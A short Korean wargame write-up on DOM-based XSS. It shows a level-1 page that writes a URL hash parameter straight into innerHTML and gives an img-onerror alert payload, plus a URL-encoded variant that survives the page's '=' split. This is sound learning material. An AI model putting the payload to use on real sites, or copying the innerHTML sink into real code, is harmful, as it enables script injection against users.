1. 문제
1) 문제 확인
<html>
<head>
<meta charset="UTF-8">
<title>level 1</title>
</head>
<body>
</body>
<script>
function getParam(name){
var url = location.hash.substr(1); // url에서 #이후 값을 파싱함
var parameters = url.split('&'); // url변수에서 &을 split한 값을 배열로 저장
for(var i=0; i<parameters.length; i++){
var param = parameters[i].split('=');
//배열을 돌면서 각 인덱스에 들어있는 값에서 또 = 을 split하여 배열로 저장
if(param[0] == name){
return decodeURIComponent(param[1]);
//만약 name과 param[0]값이 동일하면 파라미터를 param[1]을 디코딩하여 리턴
}
}
}
document.body.innerHTML = getParam('name');
//getParam 함수에 name 이름으로 입력들어온 파라미터를 인자로 넣고, 그 결과를 html에 출력
</script>
</html>
JavaScript
복사
소스코드는 저렇게 생겼다. 현재는 파라미터를 아무것도 안줬기 때문에 저렇게 나온다.
로직에 맞춰 #name=1 이렇게 값을 추면 출력이 된다.
2. 접근방법
입력들어온 파라미터를 서버가 아닌, 브라우저 단에서 파싱을 하여 html에 곧바로 출력을 해준다. 이런거를 Dom xss라고 한다.
요 자바스크립트 함수에서 최종적으로 alert() 창을 실행시킬수 있는 스크립트 태그나, 아니면 이벤트 핸들러가 들어가게끔만 한다면 될 것이다.
3. 풀이
payload = #name=123<img src='1' onerror='alert(1);'>
근데 이렇게 하면 내부 코드에서 = 요걸로 split하는 로직이 있기 때문에 인코딩으로 한번 필터링을 걸어놔야 한다.
payload = #name=123<img%20src%3d'1'%20onerror%3d'alert(1);'>
4. 몰랐던 개념
이건 왜안되지?